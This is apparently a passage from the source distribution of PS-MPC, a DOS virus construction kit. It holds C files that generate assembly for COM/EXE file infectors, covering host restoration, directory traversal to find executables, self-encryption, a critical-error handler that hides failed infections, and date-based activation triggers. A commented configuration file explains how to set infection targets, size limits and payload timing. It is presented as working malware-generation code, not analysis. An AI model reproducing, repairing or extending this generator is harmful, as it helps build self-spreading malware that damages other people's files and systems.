parseactivate(line,d,0,59,&config.activate.minute,&config.plusminus.minute,"minute");
else if (!stricmp(c,"ifsecond"))
parseactivate(line,d,0,59,&config.activate.second,&config.plusminus.second,"second");
else if (!stricmp(c,"percentage"))
parseactivate(line,d,1,99,&config.activate.percentage,0,"percentage");
else if (!isspace(c))
printf("Error in line %d: Invalid parameter '%s'.\n",line,c);
}
}
unsigned int getnumber(int line,char *d,char ok,char *next)
{
int temp = 0;
while (isdigit(*d))
{
temp*=10;
temp+=(*d-'0');
d++;
}
if ((ok == '+') && (!((*d == '+') || (*d == '-'))) && !isspace(*d))
printerror(line,*d);
else
if (next) *next=*d;
return temp;
}
char getyn(int line,char *d)
{
switch (toupper(*d))
{
case 'Y' : return 1;
case 'N' : return 0;
default : printerror(line,*d);
}
return 0;
}
void setplusminus(char *a, char b)
{
if (b == '+')
*a = 1;
else if (b == '-')
*a = -1;
else
*a = 0;
}
void parseactivate(int line, char *d, char min, char max, char *a, char *b, char *s)
{
char *c=d;
char temp = (char)getnumber(line,d,'+',c);
if ((temp < min) || (temp > max))
printf("Invalid %s specified: %d. Range must be between %d & %d.\n",s,temp,min,max);
else {
*a = temp;
if (b != 0) setplusminus(b,*c);
config.activation++;
}
}
void printerror(int line, char c)
{
printf("Error in line %d: Invalid character '%c'.\n",line,c);
}
void printblank(void)
{
fprintf(fp,"\n");
}
void getDBname(char *orig, char *name,char *delim)
{
*delim = '\'';
orig[strlen(orig)-1] = 0;
if (strchr(orig,'\''))
if (strchr(orig,'\"')) {
*delim = 0;
printf("Error in %s: Both single and double quotes used.",orig);
}
else
*delim = '\"';
if (*delim)
strcpy(name,orig);
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VMESSAGE.C */
#include "vheader.h"
void code_messages(void)
{
char b[80];
addvar("creator","db '[MPC]',0","Mass Produced Code Generator");
if (config.virusname[0]) {
sprintf(b,"db %c%s%c,0",config.virusnamedelim, config.virusname,
config.virusnamedelim);
addvar("virusname",b,"");
}
if (config.authorname[0]) {
sprintf(b,"db %c%s%c,0",config.authornamedelim, config.authorname,
config.authornamedelim);
addvar("author",b,"");
}
printblank();
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VRETURN.C */
#include "vheader.h"
void return_EXE(void);
void return_COM(void);
void code_return(void)
{
char s[80];
if (config.activation)
printlabel("exit_virus:","");
if (config.p.int24)
{
print("mov ax,2524h","Restore int 24 handler");
print("lds dx,[bp+offset oldint24]","to original");
print("int 21h","");
print("push cs","");
print("pop ds","");
printblank();
}
if (config.p.traverse == DOT_DOT) {
print("mov ah,3bh","change directory");
print("lea dx,[bp+origdir-1]","original directory");
print("int 21h","");
printblank();
}
print("mov ah,1ah","restore DTA to default");
print("mov dx,80h","DTA in PSP");
if (config.p.infectEXE)
{
if (config.p.infectCOM)
{
print("cmp sp,id-4","EXE or COM?");
print("jz returnEXE","");
printlabel("returnCOM:","");
return_COM();
printlabel("returnEXE:","");
return_EXE();
} else /* EXE only */
{
return_EXE();
}
} else
{
return_COM();
addvar("save3","db 0cdh,20h,0","First 3 bytes of COM file");
}
printblank();
}
void return_EXE(void)
{
print("pop es","");
print("pop ds","");
print("int 21h","");
print("mov ax,es","AX = PSP segment");
print("add ax,10h","Adjust for PSP");
print("add word ptr cs:[bp+jmpsave+2],ax","");
print("add ax,word ptr cs:[bp+stacksave+2]","");
print("cli","Clear intrpts for stack manipulation");
print("mov sp,word ptr cs:[bp+stacksave]","");
print("mov ss,ax","");
print("sti","");
print("db 0eah","jmp ssss:oooo");
addvar("jmpsave","dd ?","Original CS:IP");
addvar("stacksave","dd ?","Original SS:SP");
if (config.p.infectCOM) {
addvar("jmpsave2","db ?","Actually four bytes");
addvar("save3","db 0cdh,20h,0","First 3 bytes of COM file");
} else
addvar("jmpsave2","dd 0fff00000h","Needed for carrier file");
addvar("stacksave2","dd ?","");
}
void return_COM(void)
{
print("int 21h","");
print("retn","100h is on stack");
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VSETUP.C */
#include "vheader.h"
void restore_COM(void);
void restore_EXE(void);
void code_setup(void)
{
addheap("buffer","db 1ah dup (?)","read buffer");
if (!config.p.encrypt)
printlabel("startvirus:","virus code starts here");
print("call next","calculate delta offset");
printlabel("next: pop bp","bp = IP next");
print("sub bp,offset next","bp = delta offset");
printblank();
if (config.p.infectEXE)
{
if (config.p.infectCOM) /* COM & EXE */
{
print("cmp sp,id","COM or EXE?");
print("je restoreEXE","");
printlabel("restoreCOM:","");
restore_COM();
print("jmp short restoreEXIT","");
printlabel("restoreEXE:","");
restore_EXE();
printlabel("restoreEXIT:","");
print("movsw","");
} else /* EXE ONLY */
restore_EXE();
} else
restore_COM();
printblank();
if (config.maxinfect)
{
char b[80];
addheap("numinfec","db ?","Infections this run");
sprintf(b,"mov byte ptr [bp+numinfec],%u",config.maxinfect);
print(b,"reset infection counter");
printblank();
}
print("mov ah,1Ah","Set new DTA");
print("lea dx,[bp+newDTA]","new DTA @ DS:DX");
print("int 21h","");
printblank();
addheap("newDTA","db 43 dup (?)","Temporary DTA");
if (config.p.traverse == DOT_DOT)
{
print("mov ah,47h","Get current directory");
print("mov dl,0","Current drive");
print("lea si,[bp+origdir]","DS:SI->buffer");
print("int 21h","");
print("mov byte ptr [bp+backslash],'\\'","Prepare for later CHDIR");
addheap("origdir","db 64 dup (?)","Current directory buffer");
addheap("backslash","db ?","");
printblank();
}
if (config.p.int24)
{
addheap("oldint24","dd ?","Storage for old int 24h handler");
print("mov ax,3524h","Get int 24 handler");
print("int 21h","to ES:BX");
print("mov word ptr [bp+oldint24],bx","Save it");
print("mov word ptr [bp+oldint24+2],es","");
print("mov ah,25h","Set new int 24 handler");
print("lea dx,[bp+offset int24]","DS:DX->new handler");
print("int 21h","");
print("push cs","Restore ES");
print("pop es","'cuz it was changed");
printblank();
}
}
void restore_EXE(void)
{
print("push ds","");
print("push es","");
print("push cs","DS = CS");
print("pop ds","");
print("push cs","ES = CS");
print("pop es","");
print("lea si,[bp+jmpsave2]","");
print("lea di,[bp+jmpsave]","");
print("movsw","");
print("movsw","");
print("movsw","");
if (!config.p.infectCOM)
print("movsw","");
}
void restore_COM(void)
{
print("lea si,[bp+save3]","");
print("mov di,100h","");
print("push di","For later return");
if (!config.p.infectEXE)
print("movsw","");
print("movsb","");
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VSUBS.C */
#include "vheader.h"
void code_subroutines(void)
{
printlabel("open:","");
print("mov ah,3dh","");
print("lea dx,[bp+newDTA+30]","filename in DTA");
print("int 21h","");
print("xchg ax,bx","");
print("ret","");
printblank();
printlabel("attributes:","");
print("mov ax,4301h","Set attributes to cx");
print("lea dx,[bp+newDTA+30]","filename in DTA");
print("int 21h","");
print("ret","");
printblank();
if (config.p.encrypt)
{
printlabel("write:","");
print("pop bx","Restore file handle");
print("pop bp","Restore relativeness");
print("mov ah,40h","Write to file");
print("lea dx,[bp+decrypt]","Concatenate virus");
print("mov cx,heap-decrypt","# bytes to write");
print("int 21h","");
print("push bx","");
print("push bp","");
printlabel("endwrite:","");
printblank();
}
if (config.p.int24)
{
printlabel("int24:","New int 24h (error) handler");
print("mov al,3","Fail call");
print("iret","Return control");
printblank();
}
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VTAIL.C */
#include "vheader.h"
void code_tail(void)
{
if (config.p.infectCOM)
printlabel("end entry_point","");
else
if (config.p.encrypt)
printlabel("end decrypt","");
else
printlabel("end startvirus","");
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VTRAVEL.C */
#include "vheader.h"
void code_traversal_generic(void);
void dot_dot(void);
void lea_exe(void);
void lea_com(void);
void code_traversal(void)
{
config.p.calls_check = 0;
switch (config.p.traverse)
{
case NONE: code_traversal_generic(); break;
case DOT_DOT: printlabel("dir_scan:","\"dot dot\" traversal");
code_traversal_generic();
dot_dot();
break;
}
printblank();
printlabel("done_infections:","");
}
void code_traversal_generic(void)
{
if (config.p.infectEXE) {
lea_exe();
if (!config.p.infectCOM)
code_check();
}
if (config.p.infectCOM) {
lea_com();
if (config.p.infectEXE)
config.p.calls_check++;
else
code_check();
}
}
void lea_exe(void)
{
print("lea dx,[bp+exe_mask]","");
if (config.p.infectCOM)
print("call infect_mask","");
}
void lea_com(void)
{
print("lea dx,[bp+com_mask]","");
if (config.p.infectEXE)
print("call infect_mask","");
}
void dot_dot(void)
{
print("mov ah,3bh","change directory");
print("lea dx,[bp+dot_dot]","\"cd ..\"");
print("int 21h","");
print("jnc dir_scan","go back for mo!");
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VVAR.C */
#include "vheader.h"
void code_variables(void)
{
if (config.p.infectEXE) addvar("exe_mask","db '*.exe',0","");
if (config.p.infectCOM) addvar("com_mask","db '*.com',0","");
if (config.p.traverse == DOT_DOT)
addvar("dot_dot","db '..',0","");
}
----------------------------------- Cut Here ----------------------------------
; FILE: SKELETON.CFG
; Skeleton configuration file for PS-MPC version 0.90ß
; Lines beginning with semicolons denote comments
; Required parameters:
; Filename =
; This is the filename to be generated by PS-MPC as the source code file.
Filename = target.asm
; Infect = (C,E)
; COM, EXE
; Note: You can mix the two, a la "Infect = C,E" Do not use a space to
; deliminate the two parameters.
Infect = C,E
; Optional parameters - Defaults are shown in square brackets
; Traversal =
; ([None], Dot Dot)
; If None is specified, then only the files in the current directory will be
; infected. If Dot dot is specified, then files in the current directory and
; subdirectories below the current will be infected.
Traversal = N
; Encrypted =
; (Yes, [No])
; Only turn off encryption if you wish to limit the size of the virus.
Encryption = Y
; IDWord = XX
; ([ ],XX)
; The IDWord consists of two characters which are used to identify already
; infected EXE files. This line is not needed in COM-only infectors. Do
; not use an apostrophe or the source code will not assemble properly.
IDWord = DA
; MinSize = #
; (A,[0]..65535)
; MinSize is used only in the infection of COM files. Files under MinSize
; bytes are not infected. MinSize = 0 turns off this option. MinSize = A
; indicates use of the virus's effective length as the minimum size. This
; line is ignored in EXE-specific infectors.
MinSize = 0
; MaxSize = #
; (A,[0]..65535)
; MaxSize is used only in the infection of COM files. Files above MaxSize
; bytes are not infected. MaxSize = 0 turns off this option. MaxSize = A
; indicates automatic calculation of maximum size. This line is not needed
; in EXE-only infectors.
MaxSize = A
; Infections = #
; ([0]..255)
; Infections is an optional counter limiting the number of infections per run
; of the virus to a specific number. Infections = 0 disables this option.
Infections = 0
; ErrorHandler =
; (Yes, [No])
; ErrorHandler selects if you wish to include a short critical error handler
; in the virus. This handler prevents Abort, Retry, Fail messages by taking
; over the critical error interrupt. Attempted infection of files on write-
; protected diskettes will not generate an error if this option is set.
ErrorHandler = Y
; CommandCom =
; (Yes, [No])
; This flag indicates whether you wish the virus to infect COMMAND.COM
; 'Yes' turns off the check for COMMAND.COM, thus saving space.
CommandCom = N
; VirusName =
; The only limitation to the string is that you may not use both the single
; and double quotes together in the string, i.e. the string B'li"p is not
; legal.
VirusName = [Skeleton]
; AuthorName =
; The same constraints apply to AuthorName.
AuthorName = Deke
; AllowZero =
; (Yes, [No])
; This flags whether the virus will allow an encryption value of 0, which
; would effectively leave it in an unencrypted state. 'Yes' disables the
; zero check, thereby shortening code length.
AllowZero = N
; Activation Conditions
; All conditions must be satisfied for activation to occur
; Always =
; (Yes, [No])
; This flags whether the virus always activates, although I can't imagine a
; useful virus that does so.
; Always = N
; IfMonth = #
; <1..12><-,+>
; Activate if the month is equal to the specified number. Adding a minus sign
; after the month indicates activation before or during the specified month.
; Adding a plus sign after the month indicates activation during or after the
; specified month.
; IfMonth = 11+ ; Activate in either November or December
; IfDay = #
; <1..31><-,+>
; Activate if the date is on a certain date Adding a minus sign after the day
; indicates activation on or before that day. Similarly, adding a plus sign
; indicates activation on or after that day. Note: the program does not check
; to see if the number inputted is a valid date. For example, combining
; IfMonth=2 and IfDay=30+ will NOT result in an error, although the virus will
; clearly never activate.
; IfDay = 15+ ; Activate after the fifteenth of the month
; IfYear = #
; <0..65535><-,+>
; Activate during a certain year or years. Don't be stupid and put a
; ridiculous year such as 1-.
; IfYear = 1993+ ; Activate after 1993
; IfDOW = #
; <0..6><-,+>
; 0 = Sunday, 1 = Monday, etc.
; Activate on, before, or after a particular day of the week.
; IfDOW = 0 ; Activate only on Sundays
; IfMonthDay = #,#
; <#,#><-,+>
; Activate on, before, or after a particular day of the year. This differs
; from the combination of IfMonth and IfDay.
; IfMonthDay = 5,9+ ; Activate only after May 9th
; compare to:
; IfMonth = 5+ ; Activate in May through December, but only if the
; IfDay = 9+ ; day is on or after the 8th. July 1st is NOT an
; activation date
; IfHour = #
; <0..23><-,+>
; This should be self-explanatory at this point.
; IfHour = 12 ; Activate any time from 12 noon -> 1 P.M.
; IfMinute = #
; <0..59><-,+>
; Duh.
; IfMinute = 30+
; IfSecond = #
; <0..59><-,+> ;; check 0
; This is somewhat useless, in my estimation
; IfSecond = 30+
; Percentage = #
; <1..99>
; This uses the 1/100 second counter as a random number. If the counter is
; less than the percentage, then the virus will activate.
; Percentage = 50 ; Even odds
--------------------------------- Stop Cutting --------------------------------